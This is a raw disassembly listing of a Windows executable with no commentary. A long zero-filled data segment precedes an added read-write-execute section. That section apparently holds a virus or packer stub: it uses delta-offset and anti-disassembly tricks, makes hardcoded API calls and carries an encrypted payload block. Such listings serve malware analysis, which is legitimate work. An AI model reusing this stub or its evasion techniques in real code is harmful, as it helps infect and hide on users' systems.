dword_44412C	dd 0							; sub_4018A1+B9w ...
dword_444130	dd 0							; sub_40B32A+2Aw ...
dword_444134	dd 0							; seg000:00402527w ...
byte_444138	db 0			; DATA XREF: sub_4018A1+91o
					; seg000:0040780Ar ...
		align 4
		dd 585h	dup(0)
dword_445750	dd 473Ch dup(0)			db 0
byte_457441	db 3 dup(0)		; DATA XREF: seg002:off_440788o
		dd 0E304h dup(0)
dword_490054	dd 11FBh dup(0)						; seg002:00439B65o
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: seg002:0042BB4Co
		dd 6E03h dup(0)
		db 2 dup(0)
word_4B0052	dw 0			; DATA XREF: seg002:00439B5Bo
		dd 147Ch dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: seg002:off_4405F4o
		dd 6F36h dup(0)
dword_4D0F20	dd 0							; sub_40B00E+13o ...
dword_4D0F24	dd 0							; seg000:loc_4044D7r ...
		dd 59h dup(0)
dword_4D108C	dd 0							; seg000:loc_403C41r ...
		dd 2 dup(0)
dword_4D1098	dd 0							; seg000:00401DEBr
byte_4D109C	db 0			; DATA XREF: sub_401A09+10r
					; sub_401A09+23o
		align 10h
dword_4D10A0	dd 0		dword_4D10A4	dd 0		dword_4D10A8	dd 0							; sub_40C8B0+13o ...
dword_4D10AC	dd 0							; sub_409A6D+4EBr ...
dword_4D10B0	dd 0							; sub_419F45+166r
dword_4D10B4	dd 0							; sub_409A6D+880r ...
dword_4D10B8	dd 0							; sub_409A6D+A43r ...
dword_4D10BC	dd 0							; sub_409A6D+A13r ...
dword_4D10C0	dd 0							; sub_409A6D+4DBr ...
dword_4D10C4	dd 0							; sub_409A6D+234r ...
dword_4D10C8	dd 0							; sub_409A6D+A3Br ...
dword_4D10CC	dd 0							; sub_409A6D+3C7r ...
dword_4D10D0	dd 0							; sub_41B2E4+11Er
dword_4D10D4	dd 0							; sub_409A6D+3CFr ...
dword_4D10D8	dd 0							; sub_419533+ADr
dword_4D10DC	dd 0							; sub_40F891+115r ...
dword_4D10E0	dd 0							; sub_409A6D+D2r ...
dword_4D10E4	dd 0							; sub_409A6D+A06r ...
dword_4D10E8	dd 0							; sub_409A6D+3E7r ...
dword_4D10EC	dd 0							; sub_409A6D+8ACr ...
dword_4D10F0	dd 0							; sub_409A6D+2F0r ...
dword_4D10F4	dd 0							; sub_409A6D+8A4r ...
dword_4D10F8	dd 0		dword_4D10FC	dd 0							; sub_409A6D+8B4r ...
dword_4D1100	dd 0							; sub_409A6D+6D0r ...
dword_4D1104	dd 0							; sub_409A6D+CAr ...
dword_4D1108	dd 0		dword_4D110C	dd 0							; sub_409A6D+A95w ...
dword_4D1110	dd 0							; sub_409A6D+F2r
dword_4D1114	dd 0							; sub_409A6D+4D3r ...
dword_4D1118	dd 0							; sub_40BEB3+20r ...
dword_4D111C	dd 0							; sub_409A6D+A33r
dword_4D1120	dd 0							; sub_409A6D+754r ...
dword_4D1124	dd 0							; sub_40B209+3Do
dword_4D1128	dd 0		dword_4D112C	dd 0							; sub_409A6D+86Dr
dword_4D1130	dd 0							; sub_418AE3+15r
dword_4D1134	dd 0							; sub_409A6D+A1Br ...
dword_4D1138	dd 0							; sub_409A6D+3D7r ...
dword_4D113C	dd 0							; sub_409A6D+3DFr ...
dword_4D1140	dd 0							; sub_409A6D+C8Cr ...
dword_4D1144	dd 0							; seg000:00410E91r
dword_4D1148	dd 0							; sub_401135+23r ...
dword_4D114C	dd 0							; seg000:00415BBDr
dword_4D1150	dd 0							; sub_409A6D+A4Br ...
dword_4D1154	dd 0		dword_4D1158	dd 0							; sub_409A6D+DAr ...
dword_4D115C	dd 0							; seg000:00409417r ...
dword_4D1160	dd 0							; sub_409A6D+533w ...
dword_4D1164	dd 0							; sub_409A6D+890r ...
dword_4D1168	dd 0							; sub_409A6D+A23r
dword_4D116C	dd 0							; sub_409A6D+C3Fr ...
dword_4D1170	dd 0							; sub_418C8D+47r
dword_4D1174	dd 0							; seg000:00412336r ...
dword_4D1178	dd 0							; sub_409A6D+92Er
dword_4D117C	dd 0		dword_4D1180	dd 0							; sub_418C8D+4Fr
dword_4D1184	dd 0							; sub_409A6D+6E8r ...
dword_4D1188	dd 0							; sub_409A6D+873r
dword_4D118C	dd 0							; sub_409A6D+23Cr ...
dword_4D1190	dd 0							; sub_409A6D+1C2r ...
dword_4D1194	dd 0							; seg000:0040752Ar ...
dword_4D1198	dd 0							; seg000:00406BF5r ...
dword_4D119C	dd 0							; sub_409A6D+6DCr ...
dword_4D11A0	dd 0							; sub_409A6D:loc_40A366w ...
dword_4D11A4	dd 0		dword_4D11A8	dd 0							; sub_409A6D+69Fw ...
dword_4D11AC	dd 0							; sub_409A6D+341r ...
dword_4D11B0	dd 0							; sub_409A6D+3EFr ...
dword_4D11B4	dd 0							; sub_409A6D+C37r ...
dword_4D11B8	dd 0							; sub_409A6D+888r ...
dword_4D11BC	dd 0							; sub_409A6D+227r ...
dword_4D11C0	dd 0							; sub_409A6D+1D2r ...
dword_4D11C4	dd 0							; sub_409A6D+898r ...
dword_4D11C8	dd 0							; sub_409A6D+774r
dword_4D11CC	dd 0		dword_4D11D0	dd 0							; sub_409A6D+79Cr ...
dword_4D11D4	dd 0							; sub_409A6D+334r ...
dword_4D11D8	dd 0							; sub_409A6D+784r ...
dword_4D11DC	dd 0							; sub_409A6D+4AEr ...
dword_4D11E0	dd 0							; sub_409A6D+1DAr ...
dword_4D11E4	dd 0							; sub_409A6D+3BAr ...
dword_4D11E8	dd 0		dword_4D11EC	dd 0							; sub_409A6D+748r ...
dword_4D11F0	dd 0							; seg000:00406BA7r ...
dword_4D11F4	dd 0							; sub_409A6D+C2r ...
dword_4D11F8	dd 0							; sub_409A6D+4CBr ...
dword_4D11FC	dd 0							; sub_409A6D+1BAr ...
dword_4D1200	dd 0							; sub_409A6D+A5Br ...
dword_4D1204	dd 0							; sub_409A6D+7ACr ...
dword_4D1208	dd 0							; seg000:00406C0Ar ...
dword_4D120C	dd 0							; sub_409A6D+C47r ...
dword_4D1210	dd 0							; sub_409A6D+BAr ...
dword_4D1214	dd 0		dword_4D1218	dd 0							; sub_409A6D+78Cr ...
dword_4D121C	dd 0							; sub_409A6D+77Cr ...
dword_4D1220	dd 0							; sub_409A6D+C92w
dword_4D1224	dd 0							; seg000:00416EDEr ...
dword_4D1228	dd 0		dword_4D122C	dd 0							; sub_409A6D+C22r ...
dword_4D1230	dd 0							; seg000:004079F5r ...
dword_4D1234	dd 0							; sub_409A6D+4BBr ...
dword_4D1238	dd 0							; sub_409A6D+4E3r ...
dword_4D123C	dd 0							; sub_409A6D+4C3r ...
dword_4D1240	dd 0							; seg000:00406C27r ...
dword_4D1244	dd 0							; sub_409A6D+1E2r ...
dword_4D1248	dd 0							; sub_409A6D+A53r ...
dword_4D124C	dd 0							; sub_409A6D+1ADr ...
dword_4D1250	dd 0							; sub_409A6D+E2r ...
dword_4D1254	dd 0							; sub_409A6D+764r ...
dword_4D1258	dd 0							; sub_409A6D+B5Fr
dword_4D125C	dd 0							; sub_419EDA+55r
dword_4D1260	dd 0							; sub_409A6D+2D3r ...
dword_4D1264	dd 0		dword_4D1268	dd 0							; sub_40AA8C+CEr
dword_4D126C	dd 0							; sub_409A6D+AE6r ...
dword_4D1270	dd 0							; seg000:00406B86r ...
dword_4D1274	dd 0							; seg000:004093BDr ...
dword_4D1278	dd 0							; sub_409A6D+C2Fr ...
dword_4D127C	dd 0							; seg000:00407550r ...
dword_4D1280	dd 0							; sub_409A6D+A2Br ...
dword_4D1284	dd 0							; sub_409A6D+794r ...
dword_4D1288	dd 0							; sub_4018A1+D0r ...
dword_4D128C	dd 0							; sub_409A6D+70Cr ...
dword_4D1290	dd 0							; sub_409A6D+B57r
dword_4D1294	dd 0							; sub_409A6D+6C4r ...
dword_4D1298	dd 0							; sub_409A6D+B4Ar ...
dword_4D129C	dd 0							; sub_409A6D+31w ...
dword_4D12A0	dd 0							; sub_409A6D+1CAr ...
		align 8
dword_4D12A8	dd 0							; sub_409A6D+93Br
dword_4D12AC	dd 0							; sub_409A6D+EAr ...
dword_4D12B0	dd 0							; sub_409A6D+12Bw ...
dword_4D12B4	dd 0							; sub_40A729+1Cr
dword_4D12B8	dd 0							; sub_409A6D:loc_409CC2w ...
dword_4D12BC	dd 0							; sub_40A729+50r
dword_4D12C0	dd 0							; sub_409A6D:loc_409D75w ...
dword_4D12C4	dd 0							; sub_40A729+84r
dword_4D12C8	dd 0							; sub_40A729:loc_40A7D9r
dword_4D12CC	dd 0							; sub_40A729+B8r
dword_4D12D0	dd 0							; sub_40A729:loc_40A80Dr
dword_4D12D4	dd 0							; sub_40A729+ECr
dword_4D12D8	dd 0							; sub_409A6D+8EFw ...
dword_4D12DC	dd 0							; sub_40A729+120r
dword_4D12E0	dd 0							; sub_409A6D:loc_40A3C1w ...
dword_4D12E4	dd 0							; sub_40A729+154r
dword_4D12E8	dd 0							; sub_409A6D:loc_40A4DDw ...
dword_4D12EC	dd 0							; sub_40A729+188r
dword_4D12F0	dd 0							; sub_40A729:loc_40A8DDr
dword_4D12F4	dd 0							; sub_40A729+1BCr
dword_4D12F8	dd 0							; sub_40A729:loc_40A911r
dword_4D12FC	dd 0							; sub_40A729+1F0r
dword_4D1300	dd 0							; sub_40A729:loc_40A945r
dword_4D1304	dd 0							; sub_40A729+224r
dword_4D1308	dd 0							; sub_40A729:loc_40A979r
dword_4D130C	dd 0							; sub_40A729+258r
dword_4D1310	dd 0							; sub_40A729:loc_40A9ADr
dword_4D1314	dd 0							; sub_40A729+28Cr
dword_4D1318	dd 0							; sub_40A729:loc_40A9E1r
dword_4D131C	dd 0							; sub_40A729+2C0r
dword_4D1320	dd 8 dup(0)	dword_4D1340	dd 0							; sub_40BEFB+92w ...
dword_4D1344	dd 0							; seg000:0040C321w ...
		dd 7FEh	dup(0)
dword_4D3340	dd 6 dup(0)						; sub_40C034+138o ...
dword_4D3358	dd 0							; sub_40B9DD+348o
dword_4D335C	dd 0							; sub_40B9DD+35Ar
dword_4D3360	dd 0		dword_4D3364	dd 0							; sub_40B9DD:loc_40BCF2r
dword_4D3368	dd 20h dup(0)						; sub_40B9DD+302o
dword_4D33E8	dd 0		dword_4D33EC	dd 0							; sub_40B9DD+30Fw
dword_4D33F0	dd 0				align 8
dword_4D33F8	dd 0							; sub_40B9DD+101o
dword_4D33FC	dd 41h dup(0)	dword_4D3500	dd 41h dup(0)	dword_4D3604	dd 0							; sub_40B9DD+113r
dword_4D3608	dd 0		dword_4D360C	dd 0							; sub_40B9DD+D4r
dword_4D3610	dd 20h dup(0)						; sub_40B9DD+BAo
dword_4D3690	dd 0		dword_4D3694	dd 0							; sub_40B9DD+C7w
dword_4D3698	dd 0				align 10h
dword_4D36A0	dd 0							; sub_40B9DD+225o
dword_4D36A4	dd 41h dup(0)	dword_4D37A8	dd 41h dup(0)	dword_4D38AC	dd 0							; sub_40B9DD+237r
dword_4D38B0	dd 0		dword_4D38B4	dd 0							; sub_40B9DD+1F8r
dword_4D38B8	dd 20h dup(0)						; sub_40B9DD+1DEo
dword_4D3938	dd 0		dword_4D393C	dd 0							; sub_40B9DD+1EBw
dword_4D3940	dd 0				align 8
dword_4D3948	dd 0							; sub_40B9DD+470o
dword_4D394C	dd 0A2h	dup(0)	dword_4D3BD4	dd 41h dup(0)	dword_4D3CD8	dd 0							; sub_40B9DD+423r
		align 10h
dword_4D3CE0	dd 0							; sub_40B9DD+482r
dword_4D3CE4	dd 0		dword_4D3CE8	dd 0		dword_4D3CEC	dd 0				dd 0
dword_4D3CF4	dd 0				dd 0
dword_4D3CFC	dd 0							; sub_40B630+31r
dword_4D3D00	dd 0							; sub_40B630+25r ...
dword_4D3D04	dd 82h dup(0)	dword_4D3F0C	dd 2 dup(0)	dword_4D3F14	dd 0							; seg000:0040DEB5o
		dd 0
dword_4D3F1C	dd 2 dup(0)						; sub_40E7D2+EAo
dword_4D3F24	dd 0				dd 0
		dd 0
dword_4D3F30	dd 0		dword_4D3F34	dd 0							; seg000:0040ECCCr
		dd 0
dword_4D3F3C	dd 0				dd 0
dword_4D3F44	dd 0		dword_4D3F48	dd 0							; sub_40F77A+51r ...
		dd 3 dup(0)
dword_4D3F58	dd 0				align 10h
dword_4D3F60	dd 0							; seg000:0041295Co
		dd 7Bh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: seg002:off_43FB18o
		dd 8Dh dup(0)
dword_4D4388	dd 188h	dup(0)						; seg000:loc_404B12o ...
dword_4D49A8	dd 0							; seg000:00404A5Br ...
		dd 3 dup(0)
byte_4D49B8	db 0			; DATA XREF: seg000:00415469o
					; seg000:00415478w ...
byte_4D49B9	db 0			; DATA XREF: seg000:0041548Cw
word_4D49BA	dw 0			; DATA XREF: seg000:004154BDw
word_4D49BC	dw 0			; DATA XREF: seg000:004154A4w
					; seg000:loc_4155FAw
word_4D49BE	dw 0			; DATA XREF: seg000:004154C3w
byte_4D49C0	db 0			; DATA XREF: seg000:004154B0w
byte_4D49C1	db 0			; DATA XREF: seg000:00415485w
word_4D49C2	dw 0			; DATA XREF: seg000:0041561Aw
					; seg000:00415644w
dword_4D49C4	dd 0							; seg000:004155C2r
dword_4D49C8	dd 0		word_4D49CC	dw 0			; DATA XREF: seg000:004155BCw
					; seg000:00415610o
word_4D49CE	dw 0			; DATA XREF: seg000:0041555Dw
					; seg000:00415582r ...
dword_4D49D0	dd 0							; seg000:00415601w
dword_4D49D4	dd 0							; seg000:004155D3w ...
byte_4D49D8	db 0			; DATA XREF: seg000:00415539r
					; seg000:00415547w
byte_4D49D9	db 0			; DATA XREF: seg000:00415503w
					; seg000:004155CCw ...
word_4D49DA	dw 0			; DATA XREF: seg000:00415511w
word_4D49DC	dw 0			; DATA XREF: seg000:00415621w
					; seg000:00415652w
word_4D49DE	dw 0			; DATA XREF: seg000:00415556w
word_4D49E0	dw 0			; DATA XREF: seg000:00415588w
					; seg000:0041565Ao
word_4D49E2	dw 0			; DATA XREF: seg000:00415597w
					; seg000:00415631w
dword_4D49E4	dd 0				align 10h
dword_4D49F0	dd 0							; seg000:0041563Fo
dword_4D49F4	dd 0		byte_4D49F8	db 0			; DATA XREF: seg000:00415569w
byte_4D49F9	db 0			; DATA XREF: seg000:0041556Fw
word_4D49FA	dw 0			; DATA XREF: seg000:0041557Cw
dword_4D49FC	dd 7 dup(0)	dword_4D4A18	dd 0							; seg000:00415663r
dword_4D4A1C	dd 100h	dup(0)						; seg000:004156A6o
dword_4D4E1C	dd 0B3h	dup(0)						; sub_415846o ...
dword_4D50E8	dd 0F4Dh dup(0)	dword_4D8E1C	dd 0							; sub_415846+Eo ...
dword_4D8E20	dd 0							; sub_415DEA+12r
		align 8
dword_4D8E28	dd 0Eh dup(0)	dword_4D8E60	dd 80h dup(0)	dword_4D9060	dd 200h	dup(0)						; seg000:0041794Fo ...
dword_4D9860	dd 200h	dup(0)						; seg000:00417966o ...
dword_4DA060	dd 0							; sub_4176E9+94r
dword_4DA064	dd 0							; sub_417B4F+55r ...
dword_4DA068	dd 0							; sub_4176E9+D6r ...
dword_4DA06C	dd 0							; sub_4176E9+35r ...
dword_4DA070	dd 80h dup(0)	dword_4DA270	dd 0							; sub_4176E9+A2r
		align 8
dword_4DA278	dd 0							; sub_417517+103r ...
dword_4DA27C	dd 0							; sub_417A19+107w
dword_4DA280	dd 0							; sub_417A19+10Dw ...
dword_4DA284	dd 0							; sub_417B4F+4Fr
dword_4DA288	dd 0							; sub_417EC3:loc_418045w ...
dword_4DA28C	dd 0							; sub_417D85+12o ...
		dd 0
dword_4DA294	dd 0							; sub_418065+3Ar
		dd 7Fh dup(0)
dword_4DA494	dd 0							; sub_418065+4Aw
		dd 16EDh dup(0)
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: seg002:00439359o
					; seg002:00439B69o
		dd 256h	dup(0)
dword_4E09A8	dd 0		dword_4E09AC	dd 81h dup(0)						; sub_417D85+3Co ...
dword_4E0BB0	dd 17h dup(0)						; sub_419083+131o ...
dword_4E0C0C	dd 80h dup(0)						; seg000:00419EC1o
dword_4E0E0C	dd 0							; sub_4193FD+4Dr ...
dword_4E0E10	dd 17h dup(0)						; sub_419CE8+12Do
dword_4E0E6C	dd 80h dup(0)						; sub_41933E+7Do ...
byte_4E106C	db 0			; DATA XREF: sub_4193FD+29r
					; sub_4193FD+34w
		align 10h
dword_4E1070	dd 80h dup(0)						; sub_419654+88o ...
dword_4E1270	dd 81h dup(0)						; sub_418F5A+50o ...
dword_4E1474	dd 0							; seg000:0041A3ECr
dword_4E1478	dd 0							; seg000:0041A3CFr ...
dword_4E147C	dd 0							; seg000:0041A570o
dword_4E1480	dd 0		dword_4E1484	dd 0Dh dup(0)	dword_4E14B8	dd 0							; seg000:0041A4D0r
		align 10h
dword_4E14C0	dd 0Eh dup(0)	dword_4E14F8	dd 0							; seg000:loc_41D939w ...
dword_4E14FC	dd 0							; sub_41E142:loc_41E1DCw ...
dword_4E1500	dd 0		dword_4E1504	dd 0		dword_4E1508	dd 0		dword_4E150C	dd 0		dword_4E1510	dd 0				align 10h
dword_4E1520	dd 0							; sub_4258F3+9r ...
dword_4E1524	dd 0		dword_4E1528	dd 0							; sub_425CC1+4r ...
		dd 3 dup(0)
byte_4E1538	db 0			; DATA XREF: sub_41BE83+2Dw
					; sub_422608+5r
		align 4
dword_4E153C	dd 0		dword_4E1540	dd 0							; sub_41BE83+8Bw
dword_4E1544	dd 0							; sub_41C794+91w
		dd 0
dword_4E154C	dd 0		dword_4E1550	dd 0							; sub_41D721+A4w
		align 8
word_4E1558	dw 0			; DATA XREF: sub_41D721+55r
					; sub_41D721+9Ao
word_4E155A	dw 0			; DATA XREF: sub_41D721+48r
		db 2 dup(0)
word_4E155E	dw 0			; DATA XREF: sub_41D721+3Br
word_4E1560	dw 0			; DATA XREF: sub_41D721+2Er
word_4E1562	dw 0			; DATA XREF: sub_41D721+21r
		align 8
dword_4E1568	dd 0							; sub_422DE6:loc_422DF8r ...
		align 10h
dword_4E1570	dd 0		dword_4E1574	dd 0		dword_4E1578	dd 0							; sub_41BBCBr ...
dword_4E157C	dd 0							; sub_41FEA7+4w ...
dword_4E1580	dd 0				align 8
dword_4E1588	dd 0							; sub_421942+1Ar ...
byte_4E158C	db 0			; DATA XREF: sub_42183E+3r
					; sub_42183E+98r ...
		align 10h
dword_4E1590	dd 0							; sub_421A20+21w ...
byte_4E1594	db 0			; DATA XREF: sub_421A20+51w
		align 4
dword_4E1598	dd 0							; sub_421FF1+3Ar ...
dword_4E159C	dd 0							; sub_421FF1+43r ...
dword_4E15A0	dd 0							; sub_421DBD+5r
dword_4E15A4	dd 0		dword_4E15A8	dd 2 dup(0)	dword_4E15B0	dd 0							; sub_41DC7A+6Er ...
		align 10h
dword_4E15C0	dd 0							; sub_41DF04+BFr ...
		align 8
dword_4E15C8	dd 0							; sub_4202AB:loc_4202D4w ...
dword_4E15CC	dd 0							; seg000:00422A07w ...
dword_4E15D0	dd 0							; seg000:00422C50w ...
dword_4E15D4	dd 41h dup(0)	dword_4E16D8	dd 0							; sub_4230EC+23w ...
dword_4E16DC	dd 0		dword_4E16E0	dd 0		dword_4E16E4	dd 0							; seg000:loc_423BB9w
word_4E16E8	dw 0			; DATA XREF: sub_424449+1Ao
					; sub_424449+46r
byte_4E16EA	db 0			; DATA XREF: sub_424449+39r
		align 4
dword_4E16EC	dd 7 dup(0)	dword_4E1708	dd 0							; sub_424449+5Co
dword_4E170C	dd 0		dword_4E1710	dd 0		dword_4E1714	dd 0		dword_4E1718	dd 0							; sub_42456C+38r ...
		align 10h
dword_4E1720	dd 0							; sub_42464C+63w ...
		align 8
dword_4E1728	dd 0							; sub_42464C+46r
dword_4E172C	dd 10h dup(0)	word_4E176C	dw 0			; DATA XREF: sub_4248AA+A8r
word_4E176E	dw 0			; DATA XREF: sub_42464C+54r
					; sub_4248AA+DBr ...
word_4E1770	dw 0			; DATA XREF: sub_4248AA+CAr
word_4E1772	dw 0			; DATA XREF: sub_4248AA+D3r
					; sub_4248AA:loc_42499Cr
word_4E1774	dw 0			; DATA XREF: sub_4248AA+C0r
word_4E1776	dw 0			; DATA XREF: sub_4248AA+B8r
word_4E1778	dw 0			; DATA XREF: sub_4248AA+B0r
word_4E177A	dw 0			; DATA XREF: sub_4248AA+9Er
dword_4E177C	dd 0		dword_4E1780	dd 10h dup(0)	word_4E17C0	dw 0			; DATA XREF: sub_4248AA+46r
word_4E17C2	dw 0			; DATA XREF: sub_42464C:loc_4246C3r
					; sub_4248AA+78r ...
word_4E17C4	dw 0			; DATA XREF: sub_4248AA+67r
word_4E17C6	dw 0			; DATA XREF: sub_4248AA+70r
					; sub_4248AA:loc_42492Er
word_4E17C8	dw 0			; DATA XREF: sub_4248AA+5Dr
word_4E17CA	dw 0			; DATA XREF: sub_4248AA+55r
word_4E17CC	dw 0			; DATA XREF: sub_4248AA+4Dr
word_4E17CE	dw 0			; DATA XREF: sub_4248AA+3Er
dword_4E17D0	dd 0		dword_4E17D4	dd 0							; sub_42464C:loc_424798r ...
dword_4E17D8	dd 0		dword_4E17DC	dd 0							; seg000:00424CDBw ...
dword_4E17E0	dd 0							; seg000:loc_424CFCr
dword_4E17E4	dd 0							; seg000:00424D0Dr
dword_4E17E8	dd 0		dword_4E17EC	dd 0							; sub_425781+6Do
dword_4E17F0	dd 0							; sub_425781+44o
dword_4E17F4	dd 0							; sub_425781+37o
dword_4E17F8	dd 0							; sub_425781+51o
		align 10h
dword_4E1800	dd 0							; sub_425D2F+48w ...
dword_4E1804	dd 0							; seg000:00426866w ...
dword_4E1808	dd 0							; seg000:loc_426B0Fw
byte_4E180C	db 0			; DATA XREF: sub_40D78Er sub_40D78E+9w ...
		align 10h
		dd 4 dup(0)
dword_4E1820	dd 0							; sub_41EF81+2Ar ...
		dd 3Fh dup(0)
dword_4E1920	dd 0							; sub_41EF81+Cr ...
dword_4E1924	dd 0							; sub_41F302+14r ...
		dd 6 dup(0)
dword_4E1940	dd 400h	dup(0)						; seg002:00442B40o
dword_4E2940	dd 0							; sub_41E2C0+56r ...
dword_4E2944	dd 0							; seg000:0041FE21w ...
		align 10h
dword_4E2950	dd 3 dup(0)						; seg000:0041FE7Fo ...
dword_4E295C	dd 0							; seg000:0041FE6Bw ...
byte_4E2960	db 0			; DATA XREF: seg000:loc_420059w
					; seg000:loc_420076w ...
		align 4
		dd 3Fh dup(0)
byte_4E2A60	db 0			; DATA XREF: seg000:0041FDBDo
					; sub_41FF24+6o
byte_4E2A61	db 0			; DATA XREF: sub_41C081+5Dr
					; seg000:loc_41FDF5w ...
		align 4
		dd 40h dup(0)
dword_4E2B64	dd 0							; seg000:0041FE66w ...
dword_4E2B68	dd 0							; sub_41EA06+5r ...
dword_4E2B6C	dd 0							; sub_41E3D2+259r ...
dword_4E2B70	dd 0							; sub_41E3D2+310w ...
dword_4E2B74	dd 0							; sub_41E3D2+22Cr ...
dword_4E2B78	dd 0							; sub_41E3A7r ...
dword_4E2B7C	dd 0							; sub_41E3A7+8r ...
dword_4E2B80	dd 0							; sub_41BA78+A9r ...
dword_4E2B84	dd 0							; seg000:00422D9Dr
dword_4E2B88	dd 0							; sub_4258F3r
dword_4E2B8C	dd 0							; sub_4200D2+11w ...
dword_4E2B90	dd 0							; sub_41D673+13r ...
dword_4E2B94	dd 0							; sub_41BE83+57r ...
byte_4E2B98	db 0			; DATA XREF: sub_4265A4+15r
					; sub_4265A4+1Ew
		align 800h
seg002		ends

; Section 4. (virtual address 000E3000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 000E3000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 4E3000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_4E300A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_4E300E
; ---------------------------------------------------------------------------


loc_4E300A:				; CODE XREF: .data:004E3002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_4E300E:				; CODE XREF: .data:004E3008j
		call	loc_4E3014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4E3014:				; CODE XREF: .data:loc_4E300Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 0E3000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_4E3034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_4E3065


loc_4E3034:				; CODE XREF: .data:004E3026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4E30CA
; ---------------------------------------------------------------------------
		dd 970000h, 30000h, 7C809AE4h, 99E000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_4E3065:				; CODE XREF: .data:004E3032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_4E3090
		jmp	short loc_4E3077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4E3077:				; CODE XREF: .data:004E3074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4E30B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4E30B4


loc_4E3090:				; CODE XREF: .data:004E3072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4E30A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4E30A0:				; CODE XREF: .data:004E3097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4E30B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4E30B4:				; CODE XREF: .data:004E307Dj
					; .data:004E308Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4E30C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4E30C0:				; CODE XREF: .data:004E30B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4E30CA:				; CODE XREF: .data:004E3043j
		call	near ptr loc_4E30DB+1
		xchg	eax, ecx
		div	bh
		db	64h
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld


loc_4E30DB:				; CODE XREF: .data:loc_4E30CAp
		test	[edi], ecx
		test	[ebx], eax
; ---------------------------------------------------------------------------
		db 0
		dd 0CB800000h, 0EE85E83h, 7E000000h, 8AF52CDFh,	567118FBh
		dd 0E2ADC4D7h, 48E68173h, 5840D958h, 0AC72C768h, 7E838h
		dd 60630000h, 8CBFDE19h, 815E5AD5h, 837C0h, 4EBCB900h
		dd 0C1810355h, 0FCAAB327h, 9566C681h, 30FF1B6Ah, 0EE95Fh
		dd 9F3E0000h, 0BB4AB5ECh, 971631D8h, 33A26D84h,	0ECA3EF81h
		dd 0BB665F2Eh, 0F781CCFAh, 3C269BA0h, 9E857h, 52DD0000h
		dd 9ED92023h, 0F954C7Fh, 5A5AF3B7h, 3359F781h, 4E685D9Bh
		dd 816EA6ADh, 250C67EBh, 51575E62h, 38C0Fh, 0B70F0000h
		dd 8F5ED2h, 0BE03E883h,	4D5C6261h, 0F08B6648h, 93850F49h
		dd 66FFFFFFh, 0D8BBF38Bh, 0E80BCC74h, 6, 6D849716h, 13E933A2h
		dd 8F000000h, 0ABFA251Ch, 87C6A108h, 2352DDB4h,	7F9ED920h
		dd 0E85A954Ch, 0Dh, 0E4777611h,	5013024Dh, 7C6F4E49h, 0DE905h
		dd 26810000h, 0B2BD1467h, 0FEB98003h, 5E75AC5Fh, 77EC281h
		dd 0C1810000h, 22044962h, 68h, 0DCD18100h, 5F2372CAh, 10E8h
		dd 8661C800h, 129D7447h, 5E99E0E3h, 6A550C3Fh, 0F08B665Bh
		dd 3A048B5Bh, 0E88187B7h, 6079E054h, 0FE9h, 41284B00h
		dd 7DD427E6h, 7940C372h, 356C1FBEh, 4BFDF081h, 81500B36h
		dd 532822E6h, 0F0815E29h, 53F3A0F2h, 0D346BB66h, 59BE6650h
		dd 3A048F35h, 2AF18166h, 64C18155h, 83429A38h, 0F18B04EFh
		dd 0F98CFF81h, 850FFFFFh, 31h, 0FE8h, 1E80B00h,	3D94E7A6h
		dd 39008332h, 0F52CDF7Eh, 59DE8B66h, 21E9h, 3A655C00h
		dd 6E148EBh, 921DF4C7h,	0DE196063h, 0EAD58CBFh,	0FF6FE9DBh
		dd 8990FFFFh, 45BCAF8Eh, 7B2CB9Ah, 0BE8h, 0FD54A700h, 0F9C043F2h
		dd 0B5EC9F3Eh, 0AEAAD868h, 0E281662Bh, 5E590C6Dh, 81C78B66h
		dd 669C6h, 0C6D98000h, 68h, 86526800h, 0D9686B8Ch, 0E97A0D57h
		dd 11h,	389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 5B5A5905h
		dd 0FFCAB70Fh, 0FE683334h, 5836635Ah, 8158535Fh, 0BD6942F7h
		dd 816EB225h, 0C41D53EFh, 0E0ED8072h, 0F690EF81h, 0BF0F5FA1h
